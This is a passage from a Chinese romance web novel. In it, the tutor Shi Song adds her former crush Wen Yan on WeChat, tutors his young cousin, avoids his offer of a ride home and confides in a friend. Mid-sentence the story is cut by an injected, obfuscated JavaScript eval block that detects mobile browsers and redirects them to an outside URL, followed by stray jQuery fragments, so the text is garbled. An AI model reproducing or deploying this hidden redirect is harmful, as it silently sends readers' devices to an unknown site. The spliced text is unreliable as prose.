突如其来的一句话,瞬间拉回来了时颂所有的思绪。
闻衍撞见她一动不动地盯着自己,看不懂她的眼神,见她连忙摇头,又问:“那为什么这么看着我?”
早已过了那个容易兵荒马乱的年纪,时颂回过神,表现得倒是很坦然:“没有,想到了什么,走神了。”
盯着他能想到什么,闻衍不知道,他也并不感兴趣,回过头把科学试卷还给周桦阳,顺嘴问了一句:“你那边有他们上学期期末成绩吗?”
话题突然一转,时颂下意识地回答:“有的。”
闻衍:“那你发给我吧,我想看看。”
“啊?”时颂愣了一下。
“嗯?”闻衍不懂她为什么表现得挺惊讶的。
紧接着,时颂问了句废话:“我要怎么发你?”
闻衍已经点开了微信:“我扫你。”
时颂脑子有点转不动了,机械地掏出手机,打开微信,点开二维码名片。
随着“滴”的一声,通讯录上出现了一个红点,时颂点进好友申请,他的微信名是他的游戏ID,备注非常简单,只有闻衍两个字,很符合他的气质,头像是一幅正在凋零的向日葵油画。
她通过了好友申请。
时颂的头像是个卡通太阳,从高中就用的这个,一直没变过。
陶嘉宜之前说她上了大学变佛系了,什么也不想争,生活态度也比较摆烂,头像却还是那么阳光积极向上,一点也不符。时颂不以为意,头像是头像,生活是生活,她只是懒得再换。
闻衍的目光在她的头像上停留了三秒,开口问:“备注?”
时颂表情稍稍有些不自然,低着头怕被人察觉,声线倒一如既往的镇定:“时颂。时间的时,颂扬的颂。”
话落,闻衍瞥了她一眼,挑眉道:“顺颂时祺?”
接着,他给予评价:“名字很独特。”
时颂:“很多人都这么说,但其实我爸妈取名字的时候根本不知道这个词,他们因为贝多芬的《欢乐颂》结缘,便给我取名时颂。”
时颂虽然脑子有点乱,但还记得正事,随即翻出成绩表转发给了他。
“谢谢。”
闻衍语调依旧冷淡,只是出于礼貌道了声谢,然后对还杵在他旁边的周桦阳说:“我先回房间,乖乖听时老师的话。”
猝不及防的一个时老师,又是那么低沉悦耳,时颂愣了一下,紧接着下一秒,又听见他一本正经地说:“时老师,他要是再皮,你就发消息给我。”
“……好。”时颂回复得像个人机。
闻衍最后看了一眼周桦阳,然后就上楼去了。
时颂望着他挺阔的背影,一直到他彻底消失在楼道里。
她寻思闻衍这会儿倒挺负责任的,不像一开始无所顾忌地往那儿一坐,打游戏影响到周桦阳,不仅教周桦阳题目,临走前还让周桦阳乖乖听话,要是不听话就由他亲自来收拾,而周桦阳也被他治得服服帖帖,前脚他刚走,周桦阳后脚就坐回去,认真看时颂改的错题。
“时老师,这道题目不是这么写的吗?”
难得他虚心求教,再联想到是因为闻衍,时颂情不自禁笑了下。
她极少在周桦阳面前笑,周桦阳年纪小,正处于想到什么就说什么的阶段:“时老师,你笑起来真好看。”
“……”时颂随即收敛了笑,“你天不怕地不怕,连你妈妈都不怕,但却怕你哥哥,为什么?”
周桦阳实话实说:“因为惹恼了我哥哥,他就不让我找奕宸哥哥他们玩,只有奕宸哥哥他们愿意带我打游戏。而且我很崇拜我哥。”
“哦,还以为他会揍你。”时颂说道。
周桦阳连忙说:“我哥哥他从不打人,才不会揍我呢。”
时颂点头:“也是,他冷着一张脸就比拳头管用。”
大部分时候,他看人的目光都很冷,不是那种目空一切的冰冷,而是不易亲近的冷淡,说话语气也一直都很平淡,让别人看不出一点情绪,轻飘飘一个眼神就足够有威慑力。
“时老师。”周桦阳忽然意味不明地喊了她一声,紧接着凑到她面前,小心翼翼地问,“刚刚我哥哥教我做题的时候,你一直盯着他,是不是在犯花痴呀?”
“……”时颂哽住。
她刚刚确实觉得他教人做题的时候有一种魅力,但她只是想到了以前的一些画面和少女心思,她觉得自己不是犯花痴。
而且,就算是犯花痴,她也不会直接告诉周桦阳这小屁孩儿。
时颂笑眯眯地看着他,同样小声道:“信不信我现在就给你哥哥发消息啊?”
周桦阳撇了撇嘴,坐直,嘴上仍然念叨着:“以前哥哥带我出去玩的时候,虽然戴着口罩,但还是有好多女生都盯着他犯花痴,而他全都无视了,也不知道我未来嫂子会是个什么样的人,能让我哥哥看上。”
“人小鬼大。”时颂深深地望了他一眼,然后掏出手机,在屏幕上打字。
“时老师,你在干什么?”
时颂打字动作没停:“当然是告诉你哥哥你有多关心他的终身大事啦。”
周桦阳瞬间慌了:“别呀时老师,我就顺嘴一说,我要订正题目了,你快帮我看看这题怎么做。”
时颂停下动作,露出“这还差不多”的表情,收起手机帮他解答疑问。
其实她也没打算真发,就是做做样子吓唬吓唬周桦阳。
辅导终于回到正轨,周桦阳比以往都要认真,不得不说,闻衍在某种程度上比游戏还能治得了周桦阳。
一个小时后,蒋晗回来了。
蒋晗在客厅陪了几分钟,辅导结束,跟往常一样,让时颂留在家里吃饭。
如果没有要紧的事,她不会跟蒋晗客气,今天也没例外。
周桦阳的爸爸工作太忙,尤其是近两年,回家次数屈指可数,又宽又长的餐桌,以前只有蒋晗和周桦阳两个人坐,后来隔三差五多了个时颂,现在又多了个闻衍。
蒋晗喜欢热闹,今天有闻衍和时颂在,她非常高兴,忍不住多喝了几杯。
闻衍坐在时颂对面,慢条斯理地享用美食,一点也看不出他已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180210|180917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经饿了快两个小时,刻在骨子里的优雅和斯文。
席间,大多数是蒋晗和时颂在聊周桦阳的学习。
这个话题聊得差不多了,蒋晗问闻衍打算什么时候回去。
时颂低着头专注吃饭,过了几秒,听见对面说:“下周二。”
时颂下意识在心里算了算,今天是周二,只剩七天的时间。
听到这个消息,如果问她是什么心情,她也说不上来。
当初在京市遇到他,她觉得很不可思议,几个月后在天御景城再次碰到他,知道他是周桦阳的表哥时,她终于有些相信他们之间的缘分,花了好久去消化。
虽然这些天以来,他们也就只见过一次面,但接触越来越多,甚至还加了微信,这是高中时候的她想都不敢想的事,好不容易接受她跟这位学神级别的人物扯上了点关系,现在得知他下周要走,她真的说不上来此刻的心情。
就是怪怪的。失落吗?应该不至于。会有点酸涩吗?好像有那么一点。说不定这次之后,他们这辈子都不会再见了。
既然如此,她就没必要在意那些捉摸不透的情绪,毕竟很久以前她就已经看透了,他们从来都不是一个世界的人。
所以那天晚上,当蒋晗的司机打电话过来说他家里临时有事走不开,蒋晗提出让闻衍送时颂回学校的时候,她几乎在第一时间拒绝了好意,预想到蒋晗怕她一个人打车不安全,她还迅速编了个借口,说室友正好在附近玩,她们约了一块儿打车回去。
因为好孩子形象深入人心,蒋晗没有多想,只让她多注意安全。
时颂走了,她全程没有看闻衍一眼,自然也没有留意到,在她跟周桦阳和蒋晗说再见的时候,他的目光是落在她身上的。
不知道是不是他多想,他觉得时颂在拒绝他送时反应有点大,表情也不太自然,那个借口更像是临时现编的。
不过,很快他就打消了这些念头,毕竟这些都与他无关。
…
为了省钱,时颂没有打车,走了近一公里到地铁口,选择坐地铁回学校,中途还要转个线。
那之后又过了几天。
加了闻衍微信的事,她一直没有告诉陶嘉宜,要是告诉了还不知道又要打趣她什么。
不过她跟陶嘉宜说了下周二闻衍就要离开淮城的事。
陶嘉宜在电话里听了比她还难过,时颂一脸平静地说:“走了也好,要不然我还要担心……”
“担心什么?”
时颂没接话,剩下的她说不出口,陶嘉宜便替她说:“担心你再喜欢上他?”
时颂沉默。
“呵,女人,前些天还跟我嘴硬,其实你心里比谁都清楚,无论过去多久,闻衍都是你会喜欢的那个类型,这样的人在身边,一定会日久生情。更何况你当初对他更多的是见色起意,他皮囊在那儿,任谁都会心动,你真逃得掉吗?”
陶嘉宜说的没错,时颂反驳不了一句话。
正因为如此,这几天去天御景城没有碰见闻衍,她其实是庆幸的,不见就不会有那么多杂念。